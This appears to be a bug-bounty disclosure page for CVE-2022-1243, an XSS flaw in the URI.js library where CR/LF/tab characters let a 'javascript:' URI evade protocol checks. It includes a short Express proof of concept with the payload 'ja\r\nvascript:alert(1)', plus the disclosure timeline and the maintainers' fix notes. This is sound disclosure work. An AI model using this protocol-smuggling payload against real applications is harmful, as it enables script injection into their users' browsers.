

# CRHTLF can lead to invalid protocol extraction potentially leading to XSS in medialize/uri.js

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Valid

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## Description

\r, \n, \t characters in the URI can lead to XSS as URI.js will fail to extract javascript: protocol from a URI. See [Section 4.4 Step 3](#) "Remove all ASCII tab or newline from input." of the WHATWG URL spec.

## Proof of Concept

```
const parse = require('urijs')
const express = require('express')
const app = express()
const port = 3000

input = "ja\r\nvascript:alert(1)"
url = parse(input)

console.log(url)

app.get('/', (req, res) => {
  if (url.protocol !== "javascript:") {res.send("<a href=\"\" + input + \"\"");
}})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

Run the above and click on the CLICK ME, applications using URI.js to check protocol will still be vulnerable to XSS.

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## Impact

This vulnerability is capable of incorrect protocol extraction potentially leading to XSS.

## Occurrences

JS URI.js L13L53

\r \n \t characters should be removed before parsing

CVE

CVE-2022-1243

(Published)

Vulnerability Type

CWE-20: Improper Input Validation

Severity

High (7.2)

Visibility

Public

Status

Fixed

Found by



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This report was seen 948 times.

We are processing your report and will contact the **medialize/uri.js** team within 24 hours.

8 months ago

We have contacted a member of the **medialize/uri.js** team and are waiting

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We have sent a second follow up to the **medialize/uri.js** team. We will try again in 10 days.  
8 months ago

A **medialize/uri.js** maintainer validated this vulnerability 8 months ago

**haxatron** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **medialize/uri.js** maintainer marked this as fixed in **1.19.11** with commit **b0c979** 8 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

**URI.js#L13L53** has been validated ✓

A **medialize/uri.js** maintainer 8 months ago

Maintainer

Thank you for reporting the issue. it has been solved and released as v1.19.11

Jamie Slome 8 months ago

Admin

The researcher has requested a CVE here.

Can I go ahead and assign and publish one @maintainer?

A **medialize/uri.js** maintainer 8 months ago

Maintainer

Hey Jamie, yes, go ahead :)

Jamie Slome 8 months ago

Admin

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